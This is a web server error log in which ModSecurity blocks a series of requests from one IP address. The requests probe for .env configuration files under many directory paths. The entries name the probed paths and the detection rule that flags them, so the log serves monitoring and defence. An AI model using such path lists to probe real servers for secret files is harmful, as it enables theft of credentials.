[Wed Feb 25 06:05:44.478732 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testing/docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/docker/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp199QAAAAE&quot;]
[Wed Feb 25 06:05:44.478987 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/docker/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp199QAAAAE&quot;]
[Wed Feb 25 06:05:44.479166 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/docker/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp199QAAAAE&quot;]
[Wed Feb 25 06:05:44.508472 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp199gAAAAE&quot;]
[Wed Feb 25 06:05:44.508709 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp199gAAAAE&quot;]
[Wed Feb 25 06:05:44.508868 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp199gAAAAE&quot;]
[Wed Feb 25 06:05:44.557183 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Tests/Application/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp199wAAAAE&quot;]
[Wed Feb 25 06:05:44.557435 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Tests/Application/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp199wAAAAE&quot;]
[Wed Feb 25 06:05:44.557625 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Tests/Application/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp199wAAAAE&quot;]
[Wed Feb 25 06:05:44.611488 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vm-docker-compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vm-docker-compose/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6OAAAAAM&quot;]
[Wed Feb 25 06:05:44.611739 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vm-docker-compose/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6OAAAAAM&quot;]
[Wed Feb 25 06:05:44.611900 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vm-docker-compose/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6OAAAAAM&quot;]
[Wed Feb 25 06:05:44.625963 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v10.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v10.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19-AAAAAE&quot;]
[Wed Feb 25 06:05:44.626188 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v10.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19-AAAAAE&quot;]
[Wed Feb 25 06:05:44.626362 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v10.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19-AAAAAE&quot;]
[Wed Feb 25 06:05:44.656030 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vod_installer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vod_installer/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6OQAAAAM&quot;]
[Wed Feb 25 06:05:44.656487 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vod_installer/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6OQAAAAM&quot;]
[Wed Feb 25 06:05:44.656688 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vod_installer/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6OQAAAAM&quot;]
[Wed Feb 25 06:05:44.690184 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v11.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v11.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19-QAAAAE&quot;]
[Wed Feb 25 06:05:44.690433 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v11.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19-QAAAAE&quot;]
[Wed Feb 25 06:05:44.690599 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v11.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19-QAAAAE&quot;]
[Wed Feb 25 06:05:44.713134 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vue-end/vue-til/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue-end/vue-til/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6OgAAAAM&quot;]
[Wed Feb 25 06:05:44.713392 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue-end/vue-til/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6OgAAAAM&quot;]
[Wed Feb 25 06:05:44.713554 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue-end/vue-til/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6OgAAAAM&quot;]
[Wed Feb 25 06:05:44.732102 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v12.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v12.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19-gAAAAE&quot;]
[Wed Feb 25 06:05:44.732383 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v12.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19-gAAAAE&quot;]
[Wed Feb 25 06:05:44.732562 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v12.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19-gAAAAE&quot;]
[Wed Feb 25 06:05:44.754654 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v13.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v13.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19-wAAAAE&quot;]
[Wed Feb 25 06:05:44.754886 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v13.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19-wAAAAE&quot;]
[Wed Feb 25 06:05:44.755063 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v13.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19-wAAAAE&quot;]
[Wed Feb 25 06:05:44.789075 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v7.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v7.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19_AAAAAE&quot;]
[Wed Feb 25 06:05:44.789288 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v7.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19_AAAAAE&quot;]
